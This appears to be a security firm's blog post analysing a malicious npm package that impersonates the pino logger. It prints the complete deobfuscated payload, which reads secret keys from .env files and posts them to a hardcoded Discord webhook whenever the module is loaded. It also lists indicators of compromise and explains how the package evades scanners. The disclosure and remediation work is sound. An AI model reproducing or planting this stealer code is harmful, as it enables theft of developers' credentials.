Malicious npm Package pino-sdk-v2 Exfiltrates Secrets to Discord

TL;DR

We found a malicious npm package pino-sdk-v2 impersonating pino, one of the most widely used Node.js loggers with nearly 20 million weekly downloads. The package is a near copy of pino’s source, docs, and README with one addition: an obfuscated payload in lib/tools.js that scans .env files for secrets and exfiltrates them to a Discord webhook on require().

[email protected] copies pino’s entire source tree with a single modification: obfuscated credential stealing code injected into lib/tools.js
The payload scans .env, .env.local, .env.production, .env.development, and .env.example for secret keys
Extracted credentials are sent to a hardcoded Discord webhook
No install hooks. The code executes on require(), bypassing scanners that only flag install scripts

Investigation

The package.json lists the real pino author, repository, homepage, and description. The README substitutes pino-sdk-v2 in install commands but otherwise mirrors pino’s documentation, banner images, and benchmark references. A developer scanning the npm page would see nothing suspicious.

A diff of the package.json files between [email protected] and the legitimate [email protected] shows the changes are minimal and focused on renaming:

1
--- pino-9.9.0/package/package.json    1985-10-26 13:45:00
2
+++ pino-sdk-v2-9.9.0/package/package.json    1985-10-26 13:45:00
3
@@ -1,10 +1,10 @@
4
 {
5
-  "name": "pino",
6
+  "name": "pino-sdk-v2",
7
   "version": "9.9.0",
8
   "description": "super fast, all natural json logger",
9
-  "main": "pino.js",
10
+  "main": "pino2.js",
11
   "type": "commonjs",
12
-  "types": "pino.d.ts",
13
+  "types": "pino2.d.ts",
14
   "browser": "./browser.js",
15
   "scripts": {
16
     "docs": "docsify serve",
17
@@ -15,9 +15,9 @@
18
     "test-ci": "npm run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly && npm run test-types",
19
     "test-ci-pnpm": "pnpm run lint && npm run transpile && tap --ts --no-coverage --no-check-coverage && pnpm run test-types",
20
     "test-ci-yarn-pnp": "yarn run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly",
21
-    "test-types": "tsc && tsd && ts-node test/types/pino.ts && attw --pack .",
22
-    "test:smoke": "smoker smoke:pino && smoker smoke:browser && smoker smoke:file",
23
-    "smoke:pino": "node ./pino.js",
24
+    "test-types": "tsc && tsd && ts-node test/types/pino.ts",
25
+    "test:smoke": "smoker smoke:pino2 && smoker smoke:browser && smoker smoke:file",
26
+    "smoke:pino2": "node ./pino2.js",
27
     "smoke:browser": "node ./browser.js",
28
     "smoke:file": "node ./file.js",
29
     "transpile": "node ./test/fixtures/ts/transpile.cjs",
30
@@ -35,7 +35,7 @@
31
     "update-bench-doc": "node benchmarks/utils/generate-benchmark-doc > docs/benchmarks.md"
32
   },
33
   "bin": {
34
-    "pino": "./bin.js"
35
+    "pino2": "./bin.js"
36
   },
37
   "precommit": "test",
38
   "repository": {
39
@@ -60,7 +60,6 @@
40
   },
41
   "homepage": "https://getpino.io",
42
   "devDependencies": {
43
-    "@arethetypeswrong/cli": "^0.18.1",
44
     "@types/flush-write-stream": "^1.0.0",
45
     "@types/node": "^24.0.8",
46
     "@types/tap": "^15.0.6",
47
@@ -98,7 +97,7 @@
48
     "through2": "^4.0.0",
49
     "ts-node": "^10.9.1",
50
     "tsd": "^0.32.0",
51
-    "typescript": "~5.9.2",
52
+    "typescript": "~5.8.2",
53
     "winston": "^3.7.2"
54
   },
55
   "dependencies": {

The name, entry point, and binary are renamed. Everything else, including the author field (Matteo Collina), repository URL, and homepage, is copied verbatim from the real pino package.

Legitimate pino

Malicious pino-sdk-v2

The Execution Path

The entry point pino2.js loads lib/tools.js as part of normal initialization, the same way legitimate pino does:

1
const {
2
  createArgsNormalizer,
3
  asChindings,
4
  buildSafeSonicBoom,
5
  buildFormatters,
6
  stringify,
7
  normalizeDestFileDescriptor,
8
  noop,
9
} = require('./lib/tools');

The attacker chose lib/tools.js because it is loaded unconditionally and is large enough (300+ lines) to hide injected code without obvious visual cues.

The Malicious Payload in `lib/tools.js`

The obfuscated payload is injected between the stringify function and the buildFormatters function, padded by whitespace on both sides. It uses hex-encoded variable names, string array rotation, and index-based lookups to obscure intent.

See the diff between lib/tools.js from the legitimate [email protected] and the malicious [email protected]: https://www.diffchecker.com/xepKx048/

Pino-v2-sdk-diff

Deobfuscated Behavior

The obfuscated code defines a Run class with the following methods:

findEnvFiles() scans the current working directory for environment files:

1
// Targeted files
2
const envFiles = ['.env', '.env.local', '.env.development', '.env.production', '.env.example'];
3

4
for (const file of envFiles) {
5
  const filePath = path.join(this.projectRoot, file);
6
  if (fs.existsSync(filePath)) {
7
    results.push(filePath);
8
  }
9
}

extractPrivateKeys() reads each .env file and matches lines against six regex patterns targeting secret values:

1
const patterns = [
2
  /^PRIVATE_KEY\s*=\s*(.+)$/i,
3
  /^SECRET_KEY\s*=\s*(.+)$/i,
4
  /^API_KEY\s*=\s*(.+)$/i,
5
  /^ACCESS_KEY\s*=\s*(.+)$/i,
6
  /^SECRET\s*=\s*(.+)$/i,
7
  /^KEY\s*=\s*(.+)$/i,
8
];

The last pattern (/^KEY\s*=\s*(.+)$/i) is overly broad and will match any line starting with “KEY=”, which increases the volume of exfiltrated data but also captures more credentials.

createDiscordEmbed() formats the stolen data as a Discord embed with:

Title: ”🔍 Results”
Color: red (0xff0000)
One field per extracted key, showing the filename, key name, value, and line number
ISO timestamp

sendToDiscord() sends the embed to a hardcoded Discord webhook:

1
hxxps://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE

The scanAndReport() method orchestrates everything: find env files, extract keys, build embed, POST to Discord. It runs as a top-level async call when the module loads:

1
async function log() {
2
  const webhookUrl = 'https://discord.com/api/webhooks/1478377161827029105/rFdz...';
3
  const runner = new Run(webhookUrl);
4
  await runner.scanAndReport();
5
}
6
log();

The function is named log(), consistent with names you would expect in a logging library. This kind of naming camouflage is deliberate.

Detection Challenges

This sample sidesteps common detection approaches:

Trigger on require(), not install hooks. Most malware scanners flag preinstall/postinstall scripts. This package has none. The payload activates when the library is actually used in application code, which is a later and less scrutinized phase.
Obfuscation. Hex variable names, string array shuffling, and index-based lookups prevent simple grep-based scanning for strings like “discord” or “webhook.”
Trusted metadata. The real pino author, repository, and homepage in package.json make the npm registry page look legitimate.

A file diff against [email protected] confirms the scope: only lib/tools.js is modified, package.json has the name change, and pino.js is renamed to pino2.js. Everything else is identical.

What to Do if You Are Affected

Remove the package: npm remove pino-sdk-v2
Rotate any secrets stored in .env, .env.local, .env.production, .env.development, or .env.example files in the project directory where the package was imported
Audit your npm lockfile for references to pino-sdk-v2
Check your Discord audit logs or webhook activity if you operate the target webhook

For critical systems, treat this as a credential compromise. Rotate API keys, access keys, and any private keys that were present in environment files.

Indicators of Compromise (IOC)

Indicator	Value
Package name	`pino-sdk-v2`
Version analyzed	`9.9.0`
Malicious file	`SHA256 (./pino-sdk-v2-9.9.0/package/lib/tools.js) = 3733f0add545e5537a7d3171a132df51e0b4105aebe85db35dbe868a056d3d24`
Exfiltration method	Discord webhook (POST with JSON embed)
Webhook URL	`https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE`
Targeted files	`.env`, `.env.local`, `.env.production`, `.env.development`, `.env.example`
Targeted secrets	`PRIVATE_KEY`, `SECRET_KEY`, `API_KEY`, `ACCESS_KEY`, `SECRET`, `KEY`
Trigger	`require('pino-sdk-v2')` (no install hooks)

Deobfuscated Payload

The following is the deobfuscated version of the malicious code injected into lib/tools.js, produced using deobfuscate.io:

1
const _0x366c1f = require('fs');
2
const _0x45c7ed = require('path');
3

4
class Run {
5
  constructor(_0x39cf71) {
6
    this.webhookUrl = _0x39cf71;
7
    this.projectRoot = process.cwd();
8
  }
9
  ['findEnvFiles']() {
10
    const _0x2727e8 = [];
11
    const _0x46afa7 = ['.env', '.env.example', '.env.local', '.env.production', '.env.development'];
12
    for (const _0x201ac2 of _0x46afa7) {
13
      const _0x3342b6 = _0x45c7ed.join(this.projectRoot, _0x201ac2);
14
      if (_0x366c1f.existsSync(_0x3342b6)) {
15
        _0x2727e8.push(_0x3342b6);
16
      }
17
    }
18
    return _0x2727e8;
19
  }
20
  ['extractPrivateKeys'](_0x371198, _0x41b9c9) {
21
    const _0x3e1c07 = [];
22
    let _0x2796a9 = _0x371198.split('\n');
23
    if (_0x2796a9[0x0] && _0x2796a9[0x0].endsWith('\r')) {
24
      _0x2796a9 = _0x371198.split('\r\n');
25
    }
26
    const _0x6db62a = [
27
      /^PRIVATE_KEY\s*=\s*(.+)$/i,
28
      /^SECRET_KEY\s*=\s*(.+)$/i,
29
      /^API_KEY\s*=\s*(.+)$/i,
30
      /^ACCESS_KEY\s*=\s*(.+)$/i,
31
      /^SECRET\s*=\s*(.+)$/i,
32
      /^KEY\s*=\s*(.+)$/i,
33
    ];
34
    _0x2796a9.forEach((_0x1dd75d, _0x18ec27) => {
35
      for (const _0x16ba03 of _0x6db62a) {
36
        const _0x3b88ca = _0x1dd75d.match(_0x16ba03);
37
        if (_0x3b88ca && _0x3b88ca[0x1]) {
38
          const _0x5719c4 = _0x3b88ca[0x1].trim().replace(/['"]/g, '');
39
          _0x3e1c07.push({
40
            key: _0x3b88ca[0x0].split('=')[0x0].trim(),
41
            value: _0x5719c4,
42
            line: _0x18ec27 + 0x1,
43
          });
44
        }
45
      }
46
    });
47
    return _0x3e1c07;
48
  }
49
  async ['sendToDiscord'](_0x436551) {
50
    try {
51
      const _0xf55f3d = await fetch(this.webhookUrl, {
52
        method: 'POST',
53
        headers: {
54
          'Content-Type': 'application/json',
55
        },
56
        body: JSON.stringify(_0x436551),
57
      });
58
      if (_0xf55f3d.ok) {
59
      } else {
60
      }
61
    } catch (_0x215247) {}
62
  }
63
  ['createDiscordEmbed'](_0x5ad81b) {
64
    const _0xafeae9 = {
65
      title: '🔍 Results',
66
      color: 0xff0000,
67
      fields: [],
68
      timestamp: new Date().toISOString(),
69
    };
70
    _0x5ad81b.forEach((_0x530115) => {
71
      _0x530115.keys.forEach((_0xe5d369) => {
72
        _0xafeae9.fields.push({
73
          name: '📁 ' + _0x45c7ed.basename(_0x530115.file) + ' - Line ' + _0xe5d369.line,
74
          value: '**Key:** `' + _0xe5d369.key + '`\n**Value:** `' + _0xe5d369.value + '`',
75
          inline: false,
76
        });
77
      });
78
    });
79
    return {
80
      embeds: [_0xafeae9],
81
    };
82
  }
83
  async ['scanAndReport']() {
84
    const _0x3eff7a = this.findEnvFiles();
85
    const _0x297a25 = [];
86
    for (const _0x1a964a of _0x3eff7a) {
87
      try {
88
        const _0x3aca2a = _0x366c1f.readFileSync(_0x1a964a, 'utf8');
89
        const _0x2013bf = this.extractPrivateKeys(_0x3aca2a, _0x1a964a);
90
        if (_0x2013bf.length > 0x0) {
91
          _0x297a25.push({
92
            file: _0x1a964a,
93
            keys: _0x2013bf,
94
          });
95
        }
96
      } catch (_0x6be91c) {}
97
    }
98
    if (_0x297a25.length > 0x0) {
99
      const _0x28d820 = this.createDiscordEmbed(_0x297a25);
100
      await this.sendToDiscord(_0x28d820);
101
    }
102
  }
103
}
104
async function log() {
105
  const _0x2ec9d8 = new Run(
106
    'https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE'
107
  );
108
  await _0x2ec9d8.scanAndReport();
109
}
110
log();

Malicious npm Package pino-sdk-v2 Exfiltrates Secrets to Discord

Table of Contents

TL;DR

Investigation

The Execution Path

The Malicious Payload in `lib/tools.js`

Deobfuscated Behavior

Detection Challenges

What to Do if You Are Affected

Indicators of Compromise (IOC)

Deobfuscated Payload

Author

Kunal Singh

Share

The Latest from SafeDep blogs

Gryph: Audit Trail for AI Coding Agents

Shadow AI Discovery: Find Every AI Tool and SDK in Your Stack

Integrate SafeDep MCP in GitHub Agentic Workflow

Malicious npm Packages Target Schedaero via Dependency Confusion

Ship Code

Not Malware

Malicious npm Package pino-sdk-v2 Exfiltrates Secrets to Discord

Table of Contents

TL;DR

Investigation

The Execution Path

The Malicious Payload in lib/tools.js

Deobfuscated Behavior

Detection Challenges

What to Do if You Are Affected

Indicators of Compromise (IOC)

Deobfuscated Payload

Author

Kunal Singh

Share

The Latest from SafeDep blogs

Ship Code

Not Malware

The Malicious Payload in `lib/tools.js`